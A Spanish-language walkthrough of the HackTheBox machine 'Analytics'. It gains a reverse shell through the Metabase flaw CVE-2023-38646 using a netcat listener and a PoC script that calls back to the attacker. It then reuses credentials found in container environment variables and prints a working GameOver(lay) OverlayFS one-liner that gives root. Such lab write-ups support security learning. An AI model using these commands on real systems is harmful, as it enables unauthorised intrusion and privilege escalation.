HackTheBox: Analytics
En esta máquina fácil pudimos ver en juego el servicio Metabase y GameOver(lay).
Enumeración
Empezamos con un escaneo de Nmap. Solo los puertos 22 y 80 estaban abiertos, lo que nos lleva a buscar otros enfoques.
# Nmap 7.94SVN scan initiated as: nmap -p22,80 -sCV -Pn -n analytical.htb
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumerando el sitio web, encontramos un login.

Al ir a la página de login, encontramos una instancia de Metabase.

¿Qué es Metabase?
Metabase es una plataforma de business intelligence de código abierto. Podés usarla para hacer preguntas sobre tus datos, o integrarla en tu app para que tus clientes exploren sus datos por su cuenta.
Acceso inicial
Encontramos que Metabase es vulnerable a CVE-2023-38646.
https://github.com/shamo0/CVE-2023-38646-PoC Metabase open source antes de 0.46.6.1 y Metabase Enterprise antes de 1.46.6.1 permiten a un atacante ejecutar comandos arbitrarios en el servidor, con el nivel de privilegios del servidor. No se requiere autenticación para la explotación.
Siguiendo el PoC, primero levantamos nuestro listener con netcat.
nc -lvnp 443 Y luego enviamos nuestro payload.
python3 CVE-2023-3846-Reverse-Shell.py --rhost <Target> --lhost <Attacker> --lport <Attacker-port> 
Obtuvimos acceso a un contenedor Docker.

Escalada de privilegios
En el acceso inicial estamos dentro de una instancia Docker, lo que nos limita bastante, así que nos propusimos buscar contraseñas o cualquier otra información sensible.

Buscando en distintos lugares, uno nos mostró información valiosa: las variables de entorno. Encontramos una credencial que más tarde nos da acceso al servidor real a través de SSH.
![]()
En consecuencia, obtuvimos la primera flag.
![]()
Empezamos a enumerar el sistema para escalar privilegios, y en las primeras comprobaciones encontramos que la versión del kernel es vulnerable a GameOver(lay).
![]()

¿Qué es GameOver(lay)?
OverlayFS en Linux es un sistema de archivos de unión que coloca un sistema de archivos sobre otro, permitiendo modificar archivos sin alterar la base. Esta flexibilidad lo convierte en un posible problema de seguridad: permite copiar archivos del directorio “lower” al “upper” manteniendo metadatos críticos (como el sticky bit), lo que no debería ser posible en Linux.
https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability Siguiendo y documentando el PoC, pudimos obtener acceso root.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' 
Finalmente obtuvimos nuestra última flag.
![]()
Gracias por leer.